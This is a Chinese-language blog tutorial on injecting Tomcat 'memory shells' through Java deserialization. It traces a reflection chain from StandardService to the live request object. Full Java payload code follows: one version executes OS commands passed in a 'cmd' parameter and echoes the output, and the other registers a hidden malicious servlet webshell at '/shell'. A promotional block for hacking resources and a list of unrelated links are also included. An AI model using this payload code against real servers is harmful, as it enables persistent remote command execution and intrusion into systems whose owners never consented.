前言

對于回顯的擷取主要是在ApplicationFilterChain類的lastServicedRequest / lastServicedResponse兩個屬性，是使用的ThreadLocal進行修飾的，并且，在執行請求的過程中，通過反射修改屬性值，能夠記錄下目前線程的request對象的值。

之後在反序列化利用過程中友善利用ThreadLocal取出對應的request進行記憶體馬的注入關鍵步驟。

這裡轉而通過尋找全局存儲的request / response進行記憶體馬的注入操作。

正文

如何擷取的回顯

師傅通過這種方式關注到了org.apache.coyote.AbstractProcessor類中，存在有兩個屬性值名為request / response分别是使用final修飾的org.apache.coyote.Request / org.apache.coyote.Response類型的變量。

我們的目标是注入一個記憶體馬，這裡以上篇一樣的Servlet記憶體馬舉例說明。

【一一幫助安全學習，所有資源關注我，私信回複“資料”擷取一一】

①網絡安全學習路線

②20份滲透測試電子書

③安全攻防357頁筆記

④50份安全攻防面試指南

⑤安全紅隊滲透工具包

⑥網絡安全必備書籍

⑦100個漏洞實戰案例

⑧安全大廠内部視訊資源

⑨曆年CTF奪旗賽題解析

對于Servlet記憶體馬，我們需要擷取到對應ServletContext，但是在org.apache.coyote.Request類中，并沒有直接可以擷取的方法存在，我們可以關注到該類的setNote方法的實作。

這個方法是用來存放私有資料的，在其中舉了一個例子，其中描述了對于該類的notes數組中的下标為1的位置是用來存放的HttpServletRequest對象的，值得注意的是其中的0-8序号存放的是servlet Container中的資料，9-16序号存放的是connector這個元件的資料。

因為隻要擷取到了HttpServletRequest對象，也就能夠調用getServletContext方法擷取我們需要的上下文。

我們可以通過getNote(1)來擷取，

好了，言歸正傳，轉到擷取request對象，

在一個Controller調用過程中，其中的Http11Processor類是繼承了AbstractProcessor這個類的。

是以我們隻需要擷取到Http11Processor類對象，我們就能夠成功擷取到我們需要的request對象

目标放在調用Http11Processor之前是否對該對象進行持久化存儲，或者直接點對其中的request對象進行了持久化存儲

我們進而關注到了AbstractProtocol$ConnectionHandler類中，在調用process方法的過程中調用了register方法對processor對象進行了存儲。

傳入的是processor，他到底是什麼，我們可以追溯到該方法的開頭，存在有來源。

我們可以知道，這個processor對象是擷取的是目前的Http11Processor對象，

對于register方法，我們可以跟進一下。

首先從processor中擷取了RequestInfo對象的資訊之後調用了setGlobalProcessor方法。

調用了addRequestProcessor方法進行添加。

也即是，将其添加進入了processors這個List對象中，

是以現在我們的目的是擷取到AbstractProtocol$ConnectionHandler類的global屬性值，也即是擷取到AbstractProtocol這個類對象。

在調用這一步之後看起，發現了在CoyoteAdapter#service方法中，存在有Connector對象的操作。

對于Connector對象

這是一個connector元件的一個實作，

其中存在有一個protocolHandler屬性，是一個ProtocolHandler類對象。

前面我們需要擷取的是AbstractProtocol類對象，同樣是實作了這個接口，

而且于HTTP連接配接相關的類都實作了這個接口的，

是以我們能夠從該屬性中擷取到我們需要的AbstractProtocol對象值，

現在我們需要擷取的對象就是一個Connector對象，

而對于連接配接器的建立，在tomcat容器進行啟動的時候，将會調用setConnector方法将connector放在service中去，也即是StandardService類對象。

對于StandardService的擷取，我們可以直接從目前線程中進行擷取。

這樣，一條鍊子進行成了

總結一下：

StandardService>connector>Connector.protocolHandler>Http11NioProtocol.handler>AbstractProtocol$ConnectionHandler.global>RequestGroupInfo.processors>RequestInfo.req

構造回顯記憶體馬

非持久化

這種應該也不算是記憶體馬吧，也就是每次發送發序列化資料的時候，通過利用擷取的request / response進行指令執行和回顯。

對于實驗的環境同樣使用的是前面一樣的環境 – 使用springboot搭建的環境，

我首先建立了一個getField方法友善擷取屬性值。

将具體邏輯放在了static代碼塊中。

值得注意的有兩點

在進行connector的篩選中，調用了getScheme().toLowerCase().contains("http")方法來帥選和http相關的連接配接器。
在指令執行的位置，通過判斷有無特征來決定是否執行指令。

完整的實作

// 從線程中擷取類加載器WebappClassLoaderBase
            WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            // 擷取TomcatEmbeddedContext對象
            Context context = contextClassLoader.getResources().getContext();
            // 從上下文中擷取ApplicationContext對象
            ApplicationContext applicationContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));

            // 從Application中擷取StandardService對象
            StandardService standardService = (StandardService) getField(applicationContext, Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"));

            // 從StandardService中擷取Connector數組
            Connector[] connectors = standardService.findConnectors();
            for (Connector connector : connectors) {
                if (connector.getScheme().toLowerCase().contains("http")) {
                    // 擷取Connector對象的protocolHandler屬性值
                    ProtocolHandler protocolHandler = connector.getProtocolHandler();
                    // 篩選我們需要的Abstract
                    if (protocolHandler instanceof AbstractProtocol) {
                        // 從Http11NioProtocol對象中擷取到handler屬性，也即是AbstractProtocol中的handler屬性，存在有一個getHandler方法可以直接傳回
                        // 反射擷取該方法
                        Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
                        getHandler.setAccessible(true);
                        AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) getHandler.invoke(protocolHandler);
                        // 從上面擷取的handler中取出global屬性值
                        RequestGroupInfo global = (RequestGroupInfo) getField(handler, Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"));
                        // 之後從上面擷取的RequestGroupInfo對象中擷取到processors這個List對象，元素是RequestInfo對象
                        ArrayList processors = (ArrayList) getField(global, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
                        // 周遊List中的元素
                        for (Object processor : processors) {
                            RequestInfo requestInfo = (RequestInfo) processor;
                            // 擷取對應的Request對象
                            org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
                            // 通過不同的請求進行處理
                            if ((req.queryString()).toString().toLowerCase().contains("cmd")) {
                                // 擷取對應的Request對象
                                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
                                // 執行希望執行的指令
                                String cmd = request.getParameter("cmd");
                                String[] cmds = null;
                                if (cmd != null) {
                                    if (System.getProperty("os.name").toLowerCase().contains("win")) {
                                        cmds = new String[] {"cmd.exe", "/c", cmd};
                                    } else {
                                        cmds = new String[] {"/bin/bash", "-c", cmd};
                                    }
                                    java.util.Scanner c = new java.util.Scanner(new ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A");
                                    String o = null;
                                    o = c.hasNext() ? c.next() : o;
                                    c.close();
                                    PrintWriter writer = request.getResponse().getWriter();
                                    writer.println(o);
                                    writer.flush();
                                    writer.close();
                                }
                            }

測試一下

首先通過CC6_plus生成序列化資料1.ser

發送給漏洞端。

在通路路由中添加了一個cmd的GET傳參，最後能夠發現，成功執行了的。

持久化

對于持久化也就是真正的記憶體馬實作，主要是通過和前面的Tomcat Servlet記憶體馬相結合的模式，

也即是從request對象中擷取到了ServletContext對象來執行惡意邏輯。

完整實作

// 從線程中擷取類加載器WebappClassLoaderBase
            WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            // 擷取TomcatEmbeddedContext對象
            Context context = contextClassLoader.getResources().getContext();
            // 從上下文中擷取ApplicationContext對象
            ApplicationContext applicationContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));

            // 從Application中擷取StandardService對象
            StandardService standardService = (StandardService) getField(applicationContext, Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"));

            // 從StandardService中擷取Connector數組
            Connector[] connectors = standardService.findConnectors();
            for (Connector connector : connectors) {
                if (connector.getScheme().toLowerCase().contains("http")) {
                    // 擷取Connector對象的protocolHandler屬性值
                    ProtocolHandler protocolHandler = connector.getProtocolHandler();
                    // 篩選我們需要的Abstract
                    if (protocolHandler instanceof AbstractProtocol) {
                        // 從Http11NioProtocol對象中擷取到handler屬性，也即是AbstractProtocol中的handler屬性，存在有一個getHandler方法可以直接傳回
                        // 反射擷取該方法
                        Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
                        getHandler.setAccessible(true);
                        AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) getHandler.invoke(protocolHandler);
                        // 從上面擷取的handler中取出global屬性值
                        RequestGroupInfo global = (RequestGroupInfo) getField(handler, Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"));
                        // 之後從上面擷取的RequestGroupInfo對象中擷取到processors這個List對象，元素是RequestInfo對象
                        ArrayList processors = (ArrayList) getField(global, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
                        // 周遊List中的元素
                        for (Object processor : processors) {
                            RequestInfo requestInfo = (RequestInfo) processor;
                            // 擷取對應的Request對象
                            org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
                            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);

                            ServletContext servletContext = request.getServletContext();

                            String name = "xxx";
                            if (servletContext.getServletRegistration(name) == null) {
                                StandardContext o = null;

                                // 從 request 的 ServletContext 對象中循環判斷擷取 Tomcat StandardContext 對象
                                while (o == null) {
                                    Field f = servletContext.getClass().getDeclaredField("context");
                                    f.setAccessible(true);
                                    Object object = f.get(servletContext);

                                    if (object instanceof ServletContext) {
                                        servletContext = (ServletContext) object;
                                    } else if (object instanceof StandardContext) {
                                        o = (StandardContext) object;
                                    }
                                }

                                //自定義servlet
                                Servlet servlet = new TomcatMemshell1();

                                //用Wrapper封裝servlet
                                Wrapper newWrapper = o.createWrapper();
                                newWrapper.setName(name);
                                newWrapper.setLoadOnStartup(1);
                                newWrapper.setServlet(servlet);

                                //向children中添加Wrapper
                                o.addChild(newWrapper);
                                //添加servlet的映射
                                o.addServletMappingDecoded("/shell", name);

簡單測試一下，

啟動反序列漏洞環境，

發送序列化資料，

成功進行反序列化，

驗證是否成功注入，

成功建立了一個惡意的Servlet。

幹貨 | 如何擷取Servlet記憶體馬？

前言

正文

如何擷取的回顯

構造回顯記憶體馬

非持久化

持久化

繼續閱讀

技術幹貨|JSP(Java Server Pages) Web應用程式開發中的常見代碼用法

伺服器中的WindowsServer和Linux，哪個更好？

VMware vCenter Server 8.0U1c 釋出 - 集中式管理 vSphere 環境

講清楚 @Service @Component兩個注解

開箱即用, 開源的 IdentityServer4 管理背景

Kubernetes 系列（四十六）東西向通信（Service to Service）

案例研究｜康明斯中國通過JumpServer搭建統一的運維安全審計平台

ServiceNow擴充生成式AI功能，旨在提高生産率

查找 SQL Server 中SQL活動連接配接

阿裡雲宣布 Serverless 應用引擎 SAE2.0 将公測上線

SQL Server :查找死鎖的 T-SQL

如何自定義 Windows Server PowerShell 配置檔案

C# Blazor Server 圖形驗證簡單示例

手把手教你部署SqlServer2019高可用叢集（二）

MaaS突破，Serverless化再更新，阿裡雲如何重塑雲計算技術體系？

探索SQL Server 2022在Ubuntu 20.04上的安裝、配置、備份與常見問題